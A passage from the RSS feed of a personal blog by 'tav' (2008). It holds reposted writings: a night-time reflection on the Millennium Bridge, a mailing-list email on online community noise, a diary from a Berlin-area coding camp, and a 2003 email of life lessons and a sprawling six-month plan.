| time. 2am. place. the wobbly (millennium) bridge.
|
| after entertaining myself running around the trees, i pull
| myself up onto the wobbly bridge and gently skip along. my
| heart beats slightly faster as i see the river flow underneath
| me. the thrill of being so high. the thrill of falling.
|
| clumsily pull myself over the side, straddle a beam and sit,
| watching the river flow. i lean back, feel the aura of the
| full moon. the wind blows. so soft. but with a sharpness that
| makes me alert. aware. lyrics come to mind &quot;london calling to
| the underworld... i live by the river!&quot;
|
| i get up to climb back over. i almost slip. heart beats. back
| on the wobbly. start to skip along again. in front of me, a
| giant circle. a perfect circle. a circle of objects. i look
| around -- no-one to be seen. a present from an anonymous
| stranger.
|
| i delight in the find and start exploring. a mobile phone. a
| paintbrush. a block of wood. a pressure valve. a blue tin
| (labelled russian caviar). i look inside. some round stones.
| another block of wood. too many objects to be mentioned here.
| the wind takes on a cold edge, but the present makes me very
| warm.
|
| and in the middle of this perfect circle, at the exact middle
| of the bridge (both lengthways and sideways), a grey and
| white toy bunny with a fat blue alkaline battery. i ponder
| upon the present for a long time. is there a clever message?
|
| for some reason, the words &quot;beautiful girl lovely dress&quot;
| sample across my mind's ear. a cyclist zooms by. i call back
| at him. he stops. he turns. he approaches cautiously. i ask
| him what he thinks. maybe a clock he says. doesn't have
| anything interesting to say. i let him go.
|
| i explore the present further. time goes by. i feel inspired.
| thoughts provoked. another walks by. i wave. we speak. i can
| sense the samani in this creature. we will be good friends.
|
| i bid the present goodbye, and decide to spend the remaining
| hours of the morning exploring the mind of this new found
| friend. and fun hours they were.
</pre>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/a-present-is-found-and-a-friend-is-made.html</feedburner:origLink></item><item>
    <title>Hub Flows</title>
    <guid isPermaLink="false">http://www.asktav.com/hub-flows.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/r4vBHkUKwbs/hub-flows.html</link>
    <pubDate>Tue, 12 Aug 2008 00:01:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><em>[This is a reposting of an email that I had sent to the Hub London list on
February 29th of this year.]</em></p>
<pre class="literal-block">
| &gt; Following the suggestion of a few members in the last couple
| &gt; of weeks, we've created a new email group for members who are
| &gt; based at The Hub in Islington
|
| Another interesting development.
|
| Whilst all approaches to improving the signal-to-noise ratio is
| very welcome, is this really the right approach? Sure, all those
| mails asking about missing chargers clog up our inboxes. But as
| someone who has had a few of his phone chargers (not to mention
| a laptop!) going walkies from the Hub, I can certainly emphatise.
|
| I'd contest that all the frivolous &quot;noisy&quot; mails are essential
| for the continuity of the community. Otherwise, this is just yet
| another information channel and we already have more than enough
| of those. The reason most people are on here is probably because
| of the quality of the other people on here. I certainly am here
| because it gives me a feeling of the pulse of my Hub family. The
| personal connection. If I wanted impersonal high quality
| information, I'd just go and google. Millions of strangers.
|
| So if it's the personal connections that brings us here, then
| surely we have to deal with the noise from time to time? Because
| it's that which lubricates and keeps the list alive.
|
| I have found 3 things which help form great communities.
|
| * The engaged wise who provide something of value
| * The noisy young who give it character and act as a binding agent
| * The ease of which someone can transition between active/dormant
|
| And all attempts that I've seen which have tried to separate any
| of those have led to poorer communities.
|
| Anyways, just my two cents. Anyone have any further thoughts?
|
| On a side note, do we have any Hubs opening up by the sea? As I
| sit here overlooking the ocean, I can't but feel truly connected
| to the world as a whole. It's euphoric. Whilst they might drown
| if the sea level ever rises, it'd be a worthy investment just
| for the pure pleasure it provides in the now.
|
| --
| love, tav
|
| trajectory: boscaswal -&gt; 3rd -&gt; london -&gt; 4th -&gt; brussels -&gt; 6th
| -&gt; london -&gt; 7th -&gt; paris -&gt; 9th -&gt; london -&gt; ?
|
| founder and ceo, esp metanational llp
| plex:espians/tav | tav&#64;espians.com | +44 (0) 7809 569 369
</pre>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/hub-flows.html</feedburner:origLink></item><item>
    <title>ESCaped Thoughts</title>
    <guid isPermaLink="false">http://www.asktav.com/escaped-thoughts.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/Ki6mRkCxUPE/escaped-thoughts.html</link>
    <pubDate>Mon, 11 Aug 2008 00:01:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><em>[This is a reposting of a blog post that I had written at the first Espian
Summer Camp (ESC) in July 2005]</em></p>
<p><a class="reference external" href="http://www.warprecords.com/artists/index.php?artist=sqp">Squarepusher</a> pulses
around as this is written. In contrast to the horrendous techno that some
Germans seem intent on playing, this Brit demonstrates that electronic music can
have soul.</p>
<p>Is music the soul of life? Or was that the spice of life? Who cares. <strong>Life is
good</strong>. Too good. One can almost forget the rest of the world here. Enjoy the
moment. Savour the taste. Wonder about the grasshoppers. What do they make of
this funny existence we share? A shooting star blazes above. Make a wish.</p>
<p>The inevitable question arises. Why exactly are we here? No-one can give an
answer. Everyone can give an answer.</p>
<p>“Have a bloody good time!” someone chirps. Yes grasshopper.</p>
<p>Seems we are also here for a <strong>coding sprint</strong>. What’s a coding sprint you ask.
500m relays with printouts of source code handed between the runners in place of
batons? No. Well, almost.</p>
<p>A &ldquo;canonical&rdquo; definition:</p>
<blockquote>
<p>A &ldquo;coding sprint&rdquo; is an event loosely inspired by <a class="reference external" href="http://www.extremeprogramming.org/">Extreme Programming</a>, where a number of developers get
together for a few days of intense pair programming on a common project.</p>
<p>The practise was pioneered by the Zope and Python communities and is now being
rapidly adopted by many software development teams — open sourced and closed
sourced alike.</p>
</blockquote>
<p>Fascinating eh? Well, no. But a good way to code. Load up <a class="reference external" href="http://www.emacswiki.org/cgi-bin/wiki">emacs</a>. Hit <tt class="docutils literal"><span class="pre">M-x</span> <span class="pre">make-frame-on-display</span></tt>.
Collaborate. A good way to code. Collaboration. A good way to live.</p>
<p>The world within my mind differs so much from the world outside. Listen to
&ldquo;Jeder ist in seiner eigenen Welt&rdquo;. Funny song. Within it lies the key to
<strong>solving all social problems</strong>.</p>
<p>The continuing attacks in London worry me. Perhaps one should be afraid. But
fear leads to the Dark Side. Our police murder an innocent man. Yet, they
<a class="reference external" href="http://www.iht.com/articles/2005/07/25/news/brits.php">defend their new shoot-to-kill policy</a>. Just as worrying as
the attacks themselves.</p>
<p>The extremists are winning. Anti-terror laws are passed. Civil liberties and
social politeness melt away. Al-Qaeda. Our government seems to have no clue
about fighting this threat. They react in the traditional way. They mistake a
decentralised organisation for one with a centralised hierarchy. They react just
as they are expected to.</p>
<p>One can almost forget the rest of the world here. Almost. Lightning illuminates
the surrounding landscape. Thunder puts it into perspective. Whisky flows
through my veins. Mosquito bites all over. Must not scratch.</p>
<p>Where are we? Almost as important as why are we here. We are in <a class="reference external" href="http://www.wokule.de/">Wokule</a>. The village of <strong>Biesenthal surrounds us</strong>. S-Bahn
Bernau (part of Berlin’s public transport network) is less than half an hour
away.</p>
<p>Grasshopper on laptop screen.</p>
<p>Kpi and Jörg head off to a meeting with Vodafone. Trust maps. Toman. Community
currencies. People are impressed. Good contacts made.</p>
<p>Time stands still. You wish.</p>
<p>I gasp for air. 20 feet of water below me. The bank too far away. I am drowning.
Primeval reflexes kick in. I surface. They are <strong>teaching me</strong> to swim. City boy
adapts to the lake. A descendent of the <a class="reference external" href="http://www.bfi.org/EveryThing/everything_i_know4.htm">water people</a> familiarises himself.</p>
<p>Everyone else in the lake is in the nude. Beautiful girls strip and jump in.
Conflicting reactions within me. Be a gentleman and avert your eyes. Or enjoy
nature. Neither win. Like <a class="reference external" href="http://www.nudetravelguide.com/forums/lofiversion/index.php/t1493.html">this writer</a>, I am
left wondering &ldquo;why we all have such different modesty-maps wired into our
brains. What makes a Brit inhibited, a Thai modest and a German relaxed?&rdquo;.</p>
<p>Are modesty and politeness merely illusions? Probably so.</p>
<p>Pride swells on learning that <a class="reference external" href="http://plasq.com/comiclife/">Comic Life</a> had
won “The Best Product New to Mac OS X” in this year’s Apple Design Awards.
<a class="reference external" href="http://www.atariboy.com/">Atariboy</a>, the head of the espian graphic design
squad, is behind it.</p>
<p>The Wokule community do a party &#64; <a class="reference external" href="http://www.schlosslanke.de/">Schloss Lanke</a>. We help out. I wander off into the forest.
Return to meet some fascinating people. Rico introduces me to the 10 Euro
intrument — a bastardised version of the <a class="reference external" href="http://en.wikipedia.org/wiki/Berimbau">Berimbau</a>. I consider making one. Kpi buys me
some string. A prelude to making the Jintra.</p>
<p>&ldquo;Too young!&rdquo; she exclaims disappointedly. She had guessed 31. I turned out to
be 23. She was 27. Has happened to me too often. I consider starting to <strong>lie
about my age</strong>. Perhaps 29. Perhaps 27. What do you think?</p>
<p>Life. A series of addictions.</p>
<p>We look into <a class="reference external" href="http://weblog.infoworld.com/udell/2005/02/21.html">setting up</a> a
<a class="reference external" href="http://en.wikipedia.org/wiki/Screencast">screencast</a> of Kalati. Discover
<a class="reference external" href="http://www.debugmode.com/wink/">wink</a>. Excellent tool. Innovative.
Cross-platform. Only lacking in sound integration. Will come soon.</p>
<p>Amazing, the increasing acceleration of meme propagation. Networking effects
going into overdrive. Take the term &ldquo;screencast&rdquo; for example. Coined by <a class="reference external" href="http://weblog.infoworld.com/udell/">Jon
Udell</a> less than a year ago, creations
already number many thousands. Whilst <strong>there will be no Singularity</strong>, it is
hard to see why not. Faster! Schnell! Vite!</p>
<p>Microsoft puts out the first alpha version of its next generation operation
system — <a class="reference external" href="http://www.microsoft.com/windowsvista/default.mspx">Windows Vista</a>
(née Longhorn). Perfect timing. Couldn’t be better for us strategically. Thank
you Microsoft.</p>
<p>An ex-Microsoft employee comes to visit us. He likes what we are doing. Next
generation. Trust. Social Networking. Friendster. Affluent contacts. Managing
contacts. German Senate. <a class="reference external" href="http://www.berlin.de/">Berlin</a>. Google. Vista.
Double binds. The conversation meanders.</p>
<p><a class="reference external" href="http://www.zooleika.org.uk/">Zool</a> tells me about the O’Reilly <a class="reference external" href="http://www.mappinghacks.com/">Mapping Hacks</a> book she has written. Points me to the some of
the <a class="reference external" href="http://map.wirelesslondon.info/docs/">interesting work</a> she has been
doing. I am happy that the espian community attracts the likes of her.</p>
<p>Kpi, Jörg, Ina, Kati, and myself head off to the NOG party. Other side of
Berlin. Our human-based navigation systems break down. Would be nice to have
good geo apps. We arrive just past midnight. Join the mass of hundreds. A friend
is behind the bar. Always good. Hallucinogens. I wish she was here.</p>
<p>Oscillation. Grasshopper whispers.</p>
<p>Kpi leads a visualisation technique. <strong>We build a timeline</strong> across the fields
of Wokule. High in the hills far away lies &ldquo;Plexnet 1.0&rdquo; — only half visible and
far away.</p>
<p>Elka accidentally unplugs my laptop. Battery-less laptop dies immediately. Takes
half a day’s work with it. Elka appeases me with sweeties. Mmm, sweeties! Thank
you.</p>
<p>Kalati sprint to get the plexnet into a deployable state — version 0.0.0.5</p>
<p>Yet another of <a class="reference external" href="http://del.icio.us/evangineer">evangineer's</a> predictions come
true as <a class="reference external" href="http://www.djangoproject.com/">Django</a> is released. Pitching itself
as &ldquo;The Web framework for perfectionists with deadlines&rdquo;, this Python-based
framework follows in the wake of the hype-induced success of the <a class="reference external" href="http://www.rubyonrails.com/">Ruby on Rails</a> web application framework. In its favour are the
several <a class="reference external" href="http://www.lawrence.com/">well-established</a> and <a class="reference external" href="http://www.chicagocrime.org/">high-profile</a> deployments. Against it is the lack of a
<a class="reference external" href="http://www.loudthinking.com/">charismatic evangelist</a>.</p>
<p>The relation between hype and fashion is a funny one. Whilst much of it is
merely a passing trend, some of it sticks around to be relished by future
generations. Like good sandwiches. Cucumber and peanut butter sandwich. Very
tasty. Thanks qopi.</p>
<p>What is old is new again. DHTML is AJAX. Keywords are Tags. Virtual Folders are
Saved Searches. Portals are Digital Lifestyle Aggregators. Usenet is Darknet.
Push is RSS.</p>
<p>The dragonflies have grown. Come hither.</p>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/escaped-thoughts.html</feedburner:origLink></item><item>
    <title>Phoenix Am I</title>
    <guid isPermaLink="false">http://www.asktav.com/phoenix-am-i.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/qQaOr_W0VYM/phoenix-am-i.html</link>
    <pubDate>Sun, 10 Aug 2008 00:01:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><em>[This is a reposting of an email that I had sent to various close friends in
mid-2003.]</em></p>
<pre class="literal-block">
| /////////////////////////////////////////////////////////////////
|
|   1. realisations and hard lessons learnt.
|
|   2. my plans for the coming 6 months.
|
| /////////////////////////////////////////////////////////////////
|
| \
| #
| / lessons learnt
| #
| \
|
| i have woken up from the funk that i entered back in april.
|
| this has, without doubt, been the quietest period of my life. i achieved
| fuck all.
|
| my apologies also for not really talking and keeping in contact much.
| whereas usually i do that because i am caught up in something exciting,
| and forgotten to even eat, the last few months have just been shit.
|
| anyways, i recently got one of my moments of extreme clarity. when
| everything came together in perfect harmony. the last time this happened
| was when i was 16, and resulted in a lot of fun things, like esp =)
|
| this moment of clarity has served to put my basics back in sync, taking
| into account the experiences i have had and lessons &quot;learnt&quot;.
|
| and, although it's probably just common sense to most of you, i thought
| i would share some of my realisations, thoughts and decisions.
|
| #
| / small steps matter
| #
|
| i have always been too fixated on leaps and bounds and have hated small
| steps. this was made even more acute by my will-be-dead-at-27 thing. but
| i have come to realise that without taking small steps, you just won't
| get anywhere.
|
| the problem though is that i have always been afraid of getting stuck in
| a small step. just look around at all the shit jobs people do and
| meaningless lives they lead...
|
| but the solution is pretty simple. you just have to *simultaneously*
| focus on small steps _and_ the giant leaps. and, in the end, it is from
| the small things that the big things grow.
|
| #
| / large ego bad
| #
|
| my ego has always been a source of amusing contradiction for me. on the
| one hand, i am a relatively selfless individual. but, yet, i am
| extremely self orientated.
|
| and, recently, it not only bordered on arrogance, but was arrogant.
|
| but, even worse, my ego was damaging my work to unite the world. at
| times, i became over-protective of my ideas. but, that was just plain
| stupid. not to mention hypocritical for someone who doesn't believe in
| ownership.
|
| so, to be effective, i have to let go of my ego and work with others and
| treat them as the equals that they are.
|
| this, in turn has affected my plans substantially.
|
| for example, instead of creating one large organisation which will be
| the transformative, transindustrial, transnational which will lay the
| way for uniting the world, i have decided to instead focus my energies
| on creating an ecology within which multitudes of organisations can
| flourish and co-operate effectively.
|
| #
| / large ego good
| #
|
| my ego is also one of my strong points. it gives me the balls to do what
| i do, bolsters my confidence and renews my belief in my vision, which in
| turn fuels my optimism and gives me boundless energy.
|
| the trick is to use it appropriately. especially in relation with my
| charisma.
|
| unfortunately, like with ejaculation and orgasm, i had mistakenly
| thought the two came together. but, this isn't so. one can be
| charismatic without an overpowering ego, and yet be fueled by the ego.
|
| unfortunately, i haven't really had much chance to put this into
| practise yet, but now that i have realised it, should be easier to do so.
|
| #
| / like ego, like perfectionism
| #
|
| perfectionism can be a wonderful ally. i expect it from myself and
| others in the work they do for me. however, it can also be a real
| barrier. instead of simply getting something out, i try to create
| systems that accomodate all possible eventualities.
|
| but, when you consider the 20/80 rule (20% effort == 80% output), and
| take into consideration the most precious commodity we all have, time,
| being a perfectionist seems to be neither wise nor advantageous.
|
| i have no idea how i am going to overcome this little problem, but if i
| am to achieve everything that i intend to, then it must be done.
|
| #
| / the importance of completion
| #
|
| one of the drawbacks of enjoying hypomania is that i am easily
| distracted. new ideas. new thoughts. oooh, shiny thing!
|
| add that to my perfectionism, and i can end up in a state of starting
| multitudes of things, but never completing them. i need to bear some
| self discipline in mind. need to ensure that the task at hand is
| completed before moving onto another.
|
| but, this is easily solvable. see, i am amazing at goal-drected
| activities (and this is in fact another benefits of hypomania i am
| told). so, all i need to do is to write and maintain todo lists!
|
| #
| / a self note
| #
|
| be more aware.
|
|               be more aware.
|
|                             be more aware.
|
| #
| / the journey is the destination
| #
|
| although i think i follow this more than most people, i need to remember
| it more.
|
| also, combined with sustainability, i have decided to live out my
| childhood fantasy of doing every job possible. so, i am going to look
| for all sorts of part-time jobs. from being a cook, to a gardener, to a
| builder, to a teacher, to an electrician, to a barman, to ...
|
| the aim with these jobs isn't to make much money, or to find a long term
| career in them, but to broaden my life in general with people,
| experience and knowledge.
|
| and, in money terms, these jobs will make me sustainable with regards to
| my basic needs. for a few days work a week, i could make enough to pay
| any bills, repay some of my debt, and afford good food, clothing and
| transport.
|
| i am tired of living on the poverty line. living on a few quid a week
| gets real tiring after the twentieth time.
|
| also, sustainability means no need to be a burden on others whilst i
| work on more ambitious projects.
|
| #
| / this is my life and it is ending one minute at a time
| #
|
| like the &quot;journey is the destination&quot; maxim, this is another that i have
| lived by for a long time now. but, again, i need to remember it more.
|
| too much time wasted in idling about and not enough in doing the work or
| having real fun. life is too short to simply think/talk about ideas. i
| should write things down, and wherever possible, actually implement
| them, or at least, get the ball rolling so that others can do so.
|
| i have also often found life to be a hell of a lot more fun when i keep
| this in mind constantly.
|
| #
| / integrity matters
| #
|
| somewhere along the way, i lost touch with integrity. not that i was
| intentionally trying to trick people and be immoral. but, my morals got
| perverted by my long-term logic.
|
| e.g. &quot;it doesn't matter that i had told this person that i would repay
| them by this date, because i will simply make lots and lots of money in
| the future, and repay them back tenfold.&quot;
|
| too many promises broken. my word has been meaningless, as i was willing
| to compromise it based on my long term aims. too many loved ones hurt.
|
| so, from this point onwards, i vow to conform reality to my words, i.e.
| keep my promises and fulfill expectations, and do my best to fulfill
| previously given promises.
|
| i want to nurture a world full of love, and if i cannot keep my
| commitments and promises, then there is no reason for people to trust.
| and without trust, there is no love.
|
| also, i had been breaking expectations i had set myself. justifying to
| myself changes and modifications to my plans. &quot;it doesn't matter if i
| don't complete this now, as once i have done this other thing, then this
| would have been solved.&quot;
|
| if i am to get anywhere in uniting the world, then my word has to be
| stronger than oak. especially to myself.
|
| \
| #
| / a summary of the coming months
| #
| \
|
| so, in order to see how well i conform reality to my words and to write
| a nice todo list for myself, i am going to lay out my general plans for
| the next 6 months, and see how well i do.
|
| so, in no particular order, we have:
|
| * sort out current situation. tie up all loose ends so that i can
|   gradually become a complete and sustainable nomad sometime during
|   the period.
|
| * setup a proper riva (live/work space) at efpee (finsbury park), and
|   gradually expand the various other locations into fully fledged rivas.
|
| * get part-time jobs of varying nature (cook / cleaner / gardener /
|   salesman / barman / stripper / tailor / mason / etc.) to pay the bills
|   and expand boundaries of knowledge and enrich life.
|
| * form a collective, with those willing and close, to experiment with
|   the various economic models, especially eco-economics (i.e. taking
|   ecological footprint into account), to provide for each other's basic
|   socio-economic needs.
|
| * finish developing xnet 1.0. this will provide the necessary groupware
|   communications, knowledge, content, commerce and project management
|   infrastructure for future. setup a few sites to demonstrate the tech.
|
| * see friends that i haven't seen in ages. see if any of my lovers still
|   love me. (my love is eternal, but to many, absence in love is often
|   like water upon fire, a little quickens but much extinguishes).
|
| * get the consultancy (opn tech? via3?) going so that it promotes the
|   toman (my open organisation) model and brings in revenue by selling
|   expertise on the various developed tech, e.g. xnet, kalati, etc.
|
| * perhaps also join via3 as a technical director and transform it into
|   the global intelligence unit for the third sector that it would like
|   to be and develop the tech needed to enable a green barter network.
|
| * work on building up the uniteddiversity lifestyle brand in general.
|   ensure that book selling, nites promotion and ud communication hub
|   have effective infrastructure. sort out ecogoods delivery to members.
|
| * get body and mind back into gear: eating regularly; exercising;
|   cleansing; sleep depriving again; meditating; practising multiple
|   awareness, memory, neural reprogramming, lucid dreaming, etc.
|
| * start reading books again. haven't done this properly in over a
|   decade. use the knowledge management features of the xnet to maintain
|   and grow an effective knowledge base. (do same with music/movies).
|
| /
|
| * code and release plex 0.1 (a decentralised network with built-in
|   indexing, event routers, and trust-matrix based identities). get
|   certain espians working on it and heading towards 0.2 with a better
|   networking layer and a working distributed, component-based
|   application framework (kalati).
|
| * step up on the war on ignorance. ensure that it is being effective,
|   and start out by creating bookshare systems and simple alternative
|   media infrastructure.
|
| * learn languages again. work on elocution wrt english/tamil. practise
|   what little french/hindi i know. and, start properly learning at least
|   one of: spanish, arabic, russian, norwegian, greek, japanese.
|
| * put espmantra into place. get a small team working on building up a
|   global profile. in keeping with the maxim of 'perception is
|   everything', a global image should be promoted through publications.
|
| * create a new business organisation to handle the sms and plex-based
|   reputation service with the venue and events registration/management
|   service. raise capital by selling franchises and traditional equity.
|   use some of this to &quot;buy out&quot; the shareholders of esp of old.
|
| * head out to kristiansand, norway. play with the big girl and the
|   rabbit. work on getting my amazing norwegian espian back working on
|   cool stuff again. visit the zoo.
|
| * interact and get involved with other groups and organisations again.
|   perhaps start off by renewing connections with the capitalist
|   and anarchist groups in kristiansand and giving them better tools.
|
| * go be a hippy and promote the uniteddiversity essence at the big green
|   gathering. (july 29 - august 3).
|
| * write and publish the &quot;seed&quot; + rehimsa document/book. this should
|   coincide with the release of plex 0.2. release both initially to the
|   'friends of tav' mailing list and post-feedback, promote it elsewhere.
|
| * lay foundations for the organisations and projects put forward in the
|   &quot;seed&quot; document. chief amongst these is to revive esp and fundraise
|   for it by placing the plex on the &quot;gift market&quot;.
|
| * start repaying debt to friends in installments with the aim of all
|   personal debt to friends being cleared by the end of the 6 month
|   period.
|
| /
|
| * become a technologically enabled sustainable nomad. on average, spend:
|
|   - about a quarter of time learning (e.g. reading, listening, doing);
|
|   - another quarter working (e.g. writing, coding, building, composing)
|     on the various ideas and organisations;
|
|   - another quarter with others (e.g. talking, listening, dancing,
|     travelling, co-ordinating, negotiating);
|
|   - and, the final quarter on life essentials (e.g. eating, sleeping,
|     loving).
|
|   spread the essence of unity and love the world over.
|
| * work on the &quot;instrument&quot; (for those who don't know, this is a new
|   musical instrument that i intend to create. imagine air guitar making
|   actual sounds meeting hi-tech meeting dj'ing meeting manic dancing ;p)
|
| * explore wearable computing (perhaps get involved in the mithril
|   project). see if i can minimise the load of always-on technological
|   capability so that it's comfortable to carry about, and yet, be
|   effective at providing a powerful tool at all times.
|
| * go be a hacker/activist/artist at the chaos communication camp in
|   berlin, germany.
|
|   whilst there, take care of other things too. in particular, spend a
|   bit of time working on &quot;the touch society&quot; regarding the importance of
|   touch. (august 8-11).
|
| * perhaps travel (train?) down to greece. hook up with relevant people,
|   organisations and communities as usual. and, depending on how i feel
|   about a certain someone, meet up with her. (august 12-14)?
|
| * head out to west coast usa. start out by dropping in san francisco for
|   a few days, and then get down to los angeles to meet up with some
|   of the infoanarchy kru and work on the playainfo trailer/installation.
|   hopefully also organise a mini-meetup of all american espians.
|
|   once done, road trip to weather the dust storms at burning man. there:
|   spread the word of the multicultural yoghurt party; deploy wireless
|   infrastructure; host chats around the round table of democracy;
|   facilitate/engage in a barter economy; and, perhaps do a debut
|   performance on the &quot;instrument&quot;. (mid august - early september).
|
| /
|
| * finish off the west coast adventure by getting the hell out of
|   civilisation for another week by chilling out with the underground up
|   in british columbia, canada. go hiking, visit hotsprings, chat about
|   gift economies. (first week of september).
|
| * bring together the relevant people and organisations to start up cge
|   (citizens of the gift economy).
|
| * get the &quot;stop listening to the lies&quot; campaign going in full swing down
|   in london. setup effective infrastructure for alternative mass media.
|   (hopefully the espian waveband project would have matured by then).
|
| * direct energies towards the &quot;sustainable london&quot; project.
|
| * setup local &quot;resource centres&quot; in london and as in many other places
|   as possible. amongst other things, these should:
|
|   - bring together local communities.
|
|   - house infrastructure.
|
|   - provides effective and sustainable decentralised distribution
|     mechanism to facilitate trade/plexchange.
|
| * create plex+smart card based alternative currency and identity
|   systems. tie it together with the local resource centres and get
|   individuals and businesses from all over involved and using it.
|
| * utilise the created infrastructure to bring together cultural and
|   commercial aspects of the tamil diaspora. form organisations /
|   corporations based upon this.
|
| * help sellatel get established in the telecommunications industry.
|   in particular, work on creating and launching the dial and talk
|   service leading to community networks and voip.
|
| * start local &quot;open space&quot; meetings in finsbury park. get the community
|   to come together in all sorts of ways. an ecclesia in the pit in
|   finsbury park. discuss issues, flirt, dance into the nite. local wtf.
|
| * attend and perform at this year's sex maniac's &quot;pastoral&quot; ball. a
|   lord? a shepherd? a unicorn? (september 20-21).
|
| * get &quot;prime scholar&quot; going. linked in with the local &quot;resource
|   centres&quot;, this would provide better and more useful forms of
|   teaching and learning.
|
| /
|
| * organise esp0rgy. a fortnight of intense development on the plex and
|   other espian projects (e.g. espra), with the aim of releasing a beta
|   version of the plex at the end of it. possibly in london / istanbul /
|   toronto? (late september - early october).
|
| * bring together interesting and relevant groups (from all the various
|   worlds: business, political, environmental, media, artistic,
|   economical, technological, etc.) from around the world for the first
|   wtfcon in toronto, canada. (first week of october).
|
|   besides being a place to demonstrate the efforts of espians and the
|   other organisations working in and with the toman ecology, wtfcon
|   should serve as a gathering of the vanguard of &quot;the root&quot; movement.
|
|   promote the proliferation of local wtfs to discuss and tackle various
|   relevant issues all over the world.
|
| * bring together talented artists (music/theatre/comedy/etc.) to
|   build up awareness and highlight the problems (especially the food/air
|   deal) the world faces and potential solutions to them.
|
| * go to one of the future heartlands of espia (kerala, india) and scope
|   it out, especially in terms of building a city there.
|
|   kerala also happens to be not too far from coimbatoire where a certain
|   someone is doing her mba =) hopefully, she will be free to travel
|   around places.
|
|   whilst in india, also make preparations regarding the organisation of
|   the world social forum in january of next year, and perhaps also
|   travel to other regions, e.g. gujarat. (mid-late october).
|
| * promote relevant ideas at the da vinci institute's future of money
|   summit in colorado, usa, e.g: pecus (plex economic currency units);
|   gift, reputation and eco-economics; global reference currencies;
|   micropayments; automated bartering; and, better organisational models
|   such as toman. (october 27-29).
|
| * perhaps get involved in setting up a business to business marketplace
|   in the cote d'ivore for all that cocoa! provide the producers with
|   both soft and hard infrastructure.
|
| /
|
| * direct esp's energies into creating the plex based automated
|   multi-party bartering network which ties into reputation branding and
|   trust based producers and consumers and, of course, the toman ecology.
|
| * spend some dedicated time promoting the plex on the gift market;
|   become a &quot;darling&quot; of the mainstream media; focus a lot of energies on
|   business development.
|
| * co-ordinate pedipeace. preparations for this should have started right
|   after wtfcon. let peace, love and harmony ring in cities all over as
|   we engage the democracy at crossroads. (early november).
|
| * help organise and attend the european social forum in paris/st dennis,
|   france. listen to what everyone is saying, and try and help everyone
|   work together better. (november 12-16).
|
| * perhaps check out the interesting things happening in south america,
|   especially in argentina and brazil. if possible, try and live there
|   for a few weeks. (mid november - mid december)?
|
| * join the world future council and help them become more effective in
|   creating a viable alternative to the undemocratic united nations and
|   become a true voice of humanity.
|
| * work towards enhancing the status of women the world over. research
|   into and explore matriarchal societies.
|
| * start off a system of voluntary subscription to a one-child policy.
|   experiment with the idea and create a marketplace where child rights
|   can be exchanged.
|
| * establish intellectual property to be a fallacy, and build up
|   awareness of the various organisations, e.g. riaa, wipo, which are
|   hampering social evolution in selfish short-sightedness.
|
| * help create the book of money as an evolving publication/art. write a
|   piece on the various economic models for it, e.g. pecus, etc.
|
| * work a bit on writing the science-fiction novel 'under the shadows of
|   the simura' whenever inspiration strikes. likewise with 'the smiling
|   ones'.
|
| * perhaps visit sri lanka to scope out the viability of building a
|   city there.
|
| /
|
| * attend the world summit on the information society (wsis) in geneva
|   (switzerland) and get involved in the united nations effort to close
|   the digital divide. (december 10-12).
|
|   promote creating renewable-energy powered, wireless mesh-networked,
|   open source operating system and plex enhanced aierus (artificial
|   intelligence enhanced resource units). perhaps also get involved
|   beforehand in the preparatory committee meeting for wsis, prepcom-3,
|   also in geneva. (september 15-26).
|
|   and, if, there is enough momentum for it to materialise, help organise
|   and attend the world forum on communication rights.
|
| * have another session of esp0rgy in either london/istanbul with the
|   intention of releasing a near final version (0.9?) of the plex by the
|   end of it. (mid-late december)
|
| * party! get everyone i love (especially the wasp kru, espians, and
|   udites) for a new year's party that crosses national boundaries.
|   perhaps also tie it in with a big int'l uniteddiversity nite/party.
|
| * head over to india again and work on the preparations for the world
|   social forum in mumbai. provide technological infrastructure to all.
|   get everyone to focus on the solutions rather than on the problems.
|   (january 16-21).
|
| * form a political &quot;party&quot; that reflects the toman ecology, the real
|   biosphere and values of direct democracy balancing the global with the
|   local and the needs of the majority with that of the minority.
|
|   create a common framework for the various commons (land and labour)
|   that are being formed/nurtured, to interoperate, so that eventually,
|   when a global vote can take place on the governing of it, there can
|   be a smooth transition.
|
| * train more guardians. tie that in with putting together and growing
|   teams that can create temporary cities rapidly and effectively. the
|   city builders.
|
| * design architecture for the future that minimises ecological impact
|   whilst maximising usage of technology and fosters an environment
|   which serves to bring people together as opposed to keeping them
|   segregated.
|
| * perhaps (if i can get an invite) attend the world economic forum in
|   davos, switzerland, in the role of ceo of esp. try and convince the
|   various multinationals/nations to adopt the toman model and the
|   related economic concepts. (january 21-25).
|
| /
|
| note: any statement tempered with a &quot;perhaps&quot;, especially that last one,
| is something that i either believe is not really possible given external
| dependencies and/or time constraints.
|
| but, as to the rest of the plan, although as a whole, it is without
| doubt extremely ambitious, each item on the todo list is well within my
| capabilities, and thus as long as i keep at it consistently, it should
| all be realisable.
|
| wish me luck, and help me stay on course!
|
| --
| happy kisses, infused with the spirit of the huntress, tav
</pre>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://www.asktav.com/phoenix-am-i.html</feedburner:origLink></item><item>
    <title>Mile High Club: A HowTo</title>
    <guid isPermaLink="false">http://www.asktav.com/mile-high-club-a-howto.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/6kOFTlwvgeI/mile-high-club-a-howto.html</link>
    <pubDate>Thu, 17 Jul 2008 20:15:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<div class="float-right">
<a href="http://www.flickr.com/photos/wongjunhao/2684581600/"><img
